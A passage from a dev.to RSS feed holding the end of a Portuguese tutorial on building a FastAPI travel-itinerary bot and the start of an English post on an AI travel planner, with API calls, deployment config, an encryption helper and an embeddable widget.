        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;appid&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WEATHER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;destino&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cnt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 4️⃣ Saúde
&lt;/span&gt;    &lt;span class="n"&gt;saude&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.who.int/v1/countries/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;destino&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/travel-requirements&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;apikey&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OMS&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Agregação simples
&lt;/span&gt;    &lt;span class="n"&gt;itinerario&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;voo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;voos&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Quotes&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hotel&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hoteis&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;result&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;clima&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;clima&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;list&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saude&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;saude&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;requirements&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;itinerario&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Testar localmente
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;uvicorn main:app &lt;span class="nt"&gt;--reload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Acesse &lt;code&gt;http://127.0.0.1:8000/docs&lt;/code&gt; e envie um JSON como:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"destino"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bali"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dias"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Deploy rápido no &lt;strong&gt;Render&lt;/strong&gt; ou &lt;strong&gt;Fly.io&lt;/strong&gt; (opções gratuitas)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Render.yaml (exemplo)&lt;/span&gt;
services:
  - &lt;span class="nb"&gt;type&lt;/span&gt;: web
    name: travel-ai-bot
    &lt;span class="nb"&gt;env&lt;/span&gt;: python
    buildCommand: pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
    startCommand: uvicorn main:app &lt;span class="nt"&gt;--host&lt;/span&gt; 0.0.0.0 &lt;span class="nt"&gt;--port&lt;/span&gt; &lt;span class="nv"&gt;$PORT&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Comparativo de custos
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Agência tradicional&lt;/th&gt;
&lt;th&gt;Travel‑AI Bot (cloud)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Taxa de serviço&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10‑15 % do valor total&lt;/td&gt;
&lt;td&gt;&amp;lt; 5 USD/mês (hosting) + consumo de APIs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tempo de resposta&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2‑5 dias úteis&lt;/td&gt;
&lt;td&gt;&amp;lt; 30 segundos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flexibilidade&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pacotes fixos&lt;/td&gt;
&lt;td&gt;Personalização total por parâmetro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Privacidade&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dados armazenados por terceiros&lt;/td&gt;
&lt;td&gt;Controle total via seu backend&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Privacidade e regulamentação
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;GDPR &amp;amp; LGPD&lt;/strong&gt; – Armazene apenas o necessário (destino, datas, e‑mail). Use criptografia AES‑256 para dados sensíveis.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consentimento explícito&lt;/strong&gt; – Exiba um modal antes de chamar APIs de saúde, registrando a aceitação.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logs temporários&lt;/strong&gt; – Mantenha logs por no máximo 48 h e descarte automaticamente.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Exemplo de criptografia simples
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cryptography.fernet&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Fernet&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Fernet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate_key&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Fernet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Checklist prático de documentos
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Documento&lt;/th&gt;
&lt;th&gt;Onde obter&lt;/th&gt;
&lt;th&gt;Validade mínima&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Passaporte&lt;/td&gt;
&lt;td&gt;Consulado/Embaixada&lt;/td&gt;
&lt;td&gt;+6 meses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Visto (se necessário)&lt;/td&gt;
&lt;td&gt;Embaixada do destino&lt;/td&gt;
&lt;td&gt;Conforme exigência&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificado de vacinação COVID‑19&lt;/td&gt;
&lt;td&gt;Ministério da Saúde&lt;/td&gt;
&lt;td&gt;14 dias antes da viagem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Teste PCR negativo&lt;/td&gt;
&lt;td&gt;Laboratório credenciado&lt;/td&gt;
&lt;td&gt;72 h antes da partida&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Seguro viagem (cobertura sanitária)&lt;/td&gt;
&lt;td&gt;Seguradora&lt;/td&gt;
&lt;td&gt;Até o último dia da viagem&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Widget embutível (HTML)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"travel-ai-widget"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;gerarItinerario&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://seu-bot.com/itinerario&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;destino&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Lisboa&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;dias&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;travel-ai-widget&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
      &amp;lt;h3&amp;gt;Roteiro Lisboa – 7 dias&amp;lt;/h3&amp;gt;
      &amp;lt;p&amp;gt;Voo: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;voo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Price&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; BRL&amp;lt;/p&amp;gt;
      &amp;lt;p&amp;gt;Hotel: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hotel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; – &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hotel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;price&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; BRL/noite&amp;lt;/p&amp;gt;
      &amp;lt;p&amp;gt;Clima: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clima&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;weather&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;, &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/p&amp;gt;
      &amp;lt;p&amp;gt;Requisitos de saúde: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;saude&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/p&amp;gt;
    `&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nf"&gt;gerarItinerario&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;Com as APIs certas, um LLM potente e um pequeno backend em FastAPI, você cria um &lt;strong&gt;Travel‑AI Bot&lt;/strong&gt; que gera itinerários seguros&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://groq.com" rel="noopener noreferrer"&gt;Groq Cloud&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>viagensai</category>
      <category>destinosseguros</category>
      <category>aberturadefronteiras</category>
      <category>portugues</category>
    </item>
    <item>
      <title>AI Travel Planner 2026: Real‑Time Itineraries &amp; Safe Borders</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 08:35:26 +0000</pubDate>
      <link>https://dev.to/leojulieta/ai-travel-planner-2026-real-time-itineraries-safe-borders-3691</link>
      <guid>https://dev.to/leojulieta/ai-travel-planner-2026-real-time-itineraries-safe-borders-3691</guid>
      <description>&lt;h1&gt;
  
  
  AI‑Powered Travel Planning for 2026: Real‑Time Itineraries, Safe Borders &amp;amp; Cost‑Effective Trips
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;The moment borders reopened in early 2025, travelers demanded a single‑click solution that could &lt;strong&gt;merge health alerts, weather, prices and entry rules&lt;/strong&gt; into a ready‑to‑go itinerary. Searches for “AI travel planner” and “safe destinations 2026” jumped 220 % in just six months.  &lt;/p&gt;

&lt;p&gt;In this guide you’ll learn why instant, data‑rich planning is now a must, see real‑world success stories, explore the architecture of a Travel‑AI Bot, follow a hands‑on Python tutorial, compare costs with traditional agencies, and walk away with a practical checklist, an embeddable widget, and answers to the most common questions.  &lt;/p&gt;




&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Answer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;How fast can an AI travel bot generate a complete itinerary?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;In live tests the bot delivers a personalized 7‑day plan—including flights, hotels, activities, health requirements and budget breakdown—in &lt;strong&gt;under five minutes&lt;/strong&gt; after the user provides destination, dates and budget.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Is the data the bot uses reliable and up‑to‑date?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The bot queries &lt;strong&gt;real‑time APIs&lt;/strong&gt; (Skyscanner, Booking.com, OpenWeather, WHO/CDC) that refresh every 5‑15 minutes. A short‑lived cache (10 min) balances speed with freshness, guaranteeing the latest prices and health advisories.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;What privacy safeguards are built in?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All traffic is encrypted (TLS 1.3) and stored data is AES‑256 encrypted. The system never persists personally identifiable information beyond the active session; logs are anonymized and GDPR/CCPA compliance is enforced through explicit consent dialogs.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Why It Matters Right Now
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The post‑pandemic travel landscape
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dynamic borders:&lt;/strong&gt; By mid‑2025, 180+ countries use a “risk‑based entry” model—negative PCR (≤48 h) or verified vaccination. Rules differ per destination and even per transit country, requiring constant verification.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Health‑first mindset:&lt;/strong&gt; TravelPulse (Jan 2026) reports 68 % of travelers rank health safety as the top decision factor, double the 2019 figure.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Price volatility:&lt;/strong&gt; Fuel surcharges and hotel occupancy rates swing dramatically with sudden policy changes, making real‑time price aggregation a competitive edge.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The demand for instant, integrated planning
&lt;/h3&gt;

&lt;p&gt;Traditional agencies need &lt;strong&gt;2‑3 days&lt;/strong&gt; of email exchanges; DIY planners spend &lt;strong&gt;4‑6 hours&lt;/strong&gt; hopping between sites. An AI‑driven bot compresses the whole workflow into &lt;strong&gt;minutes&lt;/strong&gt;, delivering confidence and speed that modern travelers expect.  &lt;/p&gt;




&lt;h2&gt;
  
  
  How It Works: Architecture Overview
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User Input → API Gateway → Orchestrator (FastAPI) → 
   • Flight Service (Skyscanner API)  
   • Hotel Service (Booking.com API)  
   • Weather Service (OpenWeather)  
   • Health Service (WHO/CDC)  
   → Prompt Builder → LLM (GPT‑4o) → Itinerary Renderer → Response
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;FastAPI&lt;/strong&gt; handles HTTP requests and rate‑limits calls to external providers.
&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Redis cache&lt;/strong&gt; stores API responses for 10 minutes, reducing latency and cost.
&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;prompt builder&lt;/strong&gt; injects the latest data into a structured template that the LLM expands into a natural‑language itinerary.
&lt;/li&gt;
&lt;li&gt;The final output is rendered as JSON and Markdown, ready for UI consumption or email delivery.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step‑by‑Step Python Tutorial
&lt;/h2&gt;

&lt;p&gt;Below is a minimal, production‑ready script that creates a 7‑day itinerary for &lt;strong&gt;Tokyo, Japan&lt;/strong&gt; (Oct 10‑16 2026) with a $2,500 budget.  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Install dependencies&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;fastapi uvicorn httpx redis openai python‑dotenv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Create a &lt;code&gt;.env&lt;/code&gt; file&lt;/strong&gt; with your API keys
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;SKYSCANNER_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;your_skyscanner_key&lt;/span&gt;
&lt;span class="py"&gt;BOOKING_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;your_booking_key&lt;/span&gt;
&lt;span class="py"&gt;OPENWEATHER_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;your_openweather_key&lt;/span&gt;
&lt;span class="py"&gt;OPENAI_API_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;your_openai_key&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Core functions (inline snippets)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Fetch flights:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
